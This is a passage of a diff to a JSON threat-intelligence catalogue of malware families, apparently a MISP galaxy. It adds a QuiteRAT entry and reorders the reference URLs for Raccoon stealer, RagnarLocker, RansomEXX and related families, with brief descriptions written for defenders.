"https://medium.com/insomniacs/quarians-turians-and-quickheal-670b24523b42", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf" ], "synonyms": [], "type": [] @@ -39759,8 +41629,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.quietcanary", - "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", - "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity" + "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" ], "synonyms": [ "Kapushka", @@ -39784,6 +41654,24 @@ "uuid": "49aa0a57-812c-4344-9315-cd8c3220198e", "value": "QuietSieve" }, + { + "description": "QuiteRAT is a simple remote access trojan written with the help of Qt libraries.\r\n\r\nAfter sending preliminary system information to its C&C server, it expects a response containing either a supported command code or an actual Windows command (like systeminfo or ipconfig with parameters) to execute.\r\n\r\nIt was deployed in a campaign exploiting a ManageEngine ServiceDesk vulnerability (CVE-2022-47966).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.quiterat", + "https://blog.talosintelligence.com/lazarus-quiterat/", + "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", + "https://asec.ahnlab.com/ko/56256/", + "https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf" + ], + "synonyms": [ + "Acres" + ], + "type": [] + }, + "uuid": "03409fbe-c8ac-41f9-a89b-38dd9f7ef63d", + "value": "QuiteRAT" + }, { "description": "Qulab is an AutoIT Malware focusing on stealing & clipping content from victim's machines.\r\n", "meta": { @@ -39846,60 +41734,63 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon", - "https://ke-la.com/information-stealers-a-new-landscape/", + "https://twitter.com/GroupIB_GIB/status/1570821174736850945", + "https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8", + "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949", "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://therecord.media/malware-group-leaks-millions-of-stolen-authentication-cookies/", "https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/", "https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/", - "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", - "https://d01a.github.io/raccoon-stealer/", - "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", - "https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8", - "https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram", - "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", - "https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html", - "https://twitter.com/GroupIB_GIB/status/1570821174736850945", - "https://asec.ahnlab.com/ko/25837/", - "https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/", - "https://asec.ahnlab.com/en/35981/", - "https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf", - "https://labs.k7computing.com/index.php/raccoon-back-with-new-claws/", - "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", - "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", - "https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/", - "https://www.zerofox.com/blog/raccoon-stealer-pivots-towards-self-protection/", - "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-raccoon-infostealer", - "https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block", - "https://drive.google.com/file/d/13HEi9Px8V583sRkUG4Syawuw5qwU-W9Q/view", - "https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/", - "https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949", - "https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/", - "https://www.justice.gov/usao-wdtx/pr/newly-unsealed-indictment-charges-ukrainian-national-international-cybercrime-operation", - "https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/", - "https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/+&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.zerofox.com/blog/brief-raccoon-stealer-version-2-0/", - "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-suspends-operations-due-to-war-in-ukraine/", - "https://www.group-ib.com/blog/fakesecurity_raccoon", "https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/", - "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", - "https://cloudsek.com/recordbreaker-the-resurgence-of-raccoon", - "https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d", + "https://ke-la.com/information-stealers-a-new-landscape/", + "https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram", "https://www.riskiq.com/blog/labs/magecart-medialand/", - "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/", + "https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://www.youtube.com/watch?v=5KHZSmBeMps", - "https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf", + "https://labs.k7computing.com/index.php/raccoon-back-with-new-claws/", + "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://cyberint.com/blog/financial-services/raccoon-stealer/", + "https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/", + "https://www.justice.gov/usao-wdtx/pr/newly-unsealed-indictment-charges-ukrainian-national-international-cybercrime-operation", + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", "https://www.youtube.com/watch?v=1dbepxN2YD8", - "https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family" + "https://cloudsek.com/recordbreaker-the-resurgence-of-raccoon", + "https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/+&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", + "https://www.secureworks.com/research/the-growing-threat-from-infostealers", + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", + "https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d", + "https://www.group-ib.com/blog/fakesecurity_raccoon", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-raccoon-infostealer", + "https://d01a.github.io/raccoon-stealer/", + "https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family", + "https://asec.ahnlab.com/ko/25837/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-suspends-operations-due-to-war-in-ukraine/", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://www.youtube.com/watch?v=kfl_2_NBVGc", + "https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/", + "https://www.zerofox.com/blog/raccoon-stealer-pivots-towards-self-protection/", + "https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block", + "https://asec.ahnlab.com/en/35981/", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf", + "https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/", + "https://drive.google.com/file/d/13HEi9Px8V583sRkUG4Syawuw5qwU-W9Q/view", + "https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf", + "https://www.zerofox.com/blog/brief-raccoon-stealer-version-2-0/", + "https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/", + "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", + "https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/", + "https://therecord.media/malware-group-leaks-millions-of-stolen-authentication-cookies/" ], "synonyms": [ "Mohazo", @@ -39917,8 +41808,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.racket", - "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", - "https://medium.com/s2wlab/analysis-of-lazarus-malware-abusing-non-activex-module-in-south-korea-7d52b9539c12" + "https://medium.com/s2wlab/analysis-of-lazarus-malware-abusing-non-activex-module-in-south-korea-7d52b9539c12", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/" ], "synonyms": [], "type": [] @@ -39969,52 +41861,52 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/", - "https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://www.acronis.com/en-sg/articles/ragnar-locker/", - "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", - "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", - "https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", - "https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/", - "https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html", "https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/", - "https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information", - "https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/", - "http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/", - "https://www.ic3.gov/Media/News/2022/220307.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/", + "https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information", + "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", + "https://www.ic3.gov/Media/News/2022/220307.pdf", + "https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", - "https://securelist.com/targeted-ransomware-encrypting-data/99255/" + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", + "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/", + "https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/", + "http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.acronis.com/en-sg/articles/ragnar-locker/", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://securelist.com/targeted-ransomware-encrypting-data/99255/", + "https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html", + "https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/" ], "synonyms": [], "type": [] @@ -40027,14 +41919,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok", - 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"https://www.secureworks.com/research/threat-profiles/bronze-overbrook" + "https://github.com/m0n0ph1/APT_CyberCriminal_Campagin_Collections-1/blob/master/2017/2017.02.15.deep-dive-dragonok-rambo-backdoor/Deep%20Dive%20on%20the%20DragonOK%20Rambo%20Backdoor%20_%20Morphick%20Cyber%20Security.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2017-02-15-the-rambo-backdoor.md" ], "synonyms": [ "brebsd" @@ -40110,30 +42002,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit", - "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf", - "https://www.youtube.com/watch?v=l6ZunH6YG0A", - "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", - 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"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/" + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://www.youtube.com/watch?v=SKIu4LqMrns", + "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", + "https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html", + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" ], "synonyms": [], "type": [] @@ -40167,13 +42059,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus", + "https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/", + "https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/", "https://bin.re/blog/the-dga-of-ranbyus/", + "http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/", - "http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html", - "https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/", - "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf", - "https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/" + "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf" ], "synonyms": [], "type": [] @@ -40225,34 +42117,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://github.com/Bleeping/Ransom.exx", - "https://www.bleepingcomputer.com/news/security/new-ransom-x-ransomware-used-in-texas-txdot-cyberattack/", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", + "https://www.trendmicro.com/en_us/research/21/a/expanding-range-and-improving-speed-a-ransomexx-approach.html", + "https://www.ic3.gov/Media/News/2021/211101.pdf", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", - "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", + "https://github.com/Bleeping/Ransom.exx", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", "https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701", "https://www.youtube.com/watch?v=qxPXxWMI2i4", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", - "https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html", - "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.trendmicro.com/en_us/research/21/a/expanding-range-and-improving-speed-a-ransomexx-approach.html", - "https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/", "https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.sentinelone.com/anthology/ransomexx/", + "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", + "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx" + "https://www.bleepingcomputer.com/news/security/new-ransom-x-ransomware-used-in-texas-txdot-cyberattack/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [ "Defray777", @@ -40268,8 +42161,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock", - "https://forum.malekal.com/viewtopic.php?t=36485&start=", - "https://www.symantec.com/security_response/writeup.jsp?docid=2012-022215-2340-99&tabid=2" + "https://www.symantec.com/security_response/writeup.jsp?docid=2012-022215-2340-99&tabid=2", + "https://forum.malekal.com/viewtopic.php?t=36485&start=" ], "synonyms": [ "WinLock" @@ -40297,11 +42190,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://twitter.com/malwrhunterteam/status/997748495888076800", "https://exchange.xforce.ibmcloud.com/collection/GuessWho-Ransomware-A-Variant-of-Rapid-Ransomware-ef226b9792fa4c1e34fa4c587db04145", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", "https://twitter.com/malwrhunterteam/status/977275481765613569", - "https://twitter.com/malwrhunterteam/status/997748495888076800" + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://www.youtube.com/watch?v=LUxOcpIRxmg" ], "synonyms": [], "type": [] @@ -40337,7 +42230,7 @@ "value": "Rarog" }, { - "description": "This ransomware encrypts all user’s data on the PC (photos, documents, excel tables, music, videos, etc), adds its specific extension to every file, and creates the HOW_TO_DECYPHER_FILES.txt files in every folder which contains encrypted files.", + "description": "This ransomware encrypts all user\u2019s data on the PC (photos, documents, excel tables, music, videos, etc), adds its specific extension to every file, and creates the HOW_TO_DECYPHER_FILES.txt files in every folder which contains encrypted files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar", @@ -40354,20 +42247,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.raspberry_robin", - "https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/", - "https://unit42.paloaltonetworks.com/unsigned-dlls/", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", "https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis", + "https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/", + "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", + "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", "https://www.securityjoes.com/post/raspberry-robin-detected-itw-targeting-insurance-financial-institutes-in-europe", "https://www.trendmicro.com/fr_fr/research/22/l/raspberry-robin-malware-targets-telecom-governments.html", - "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", - 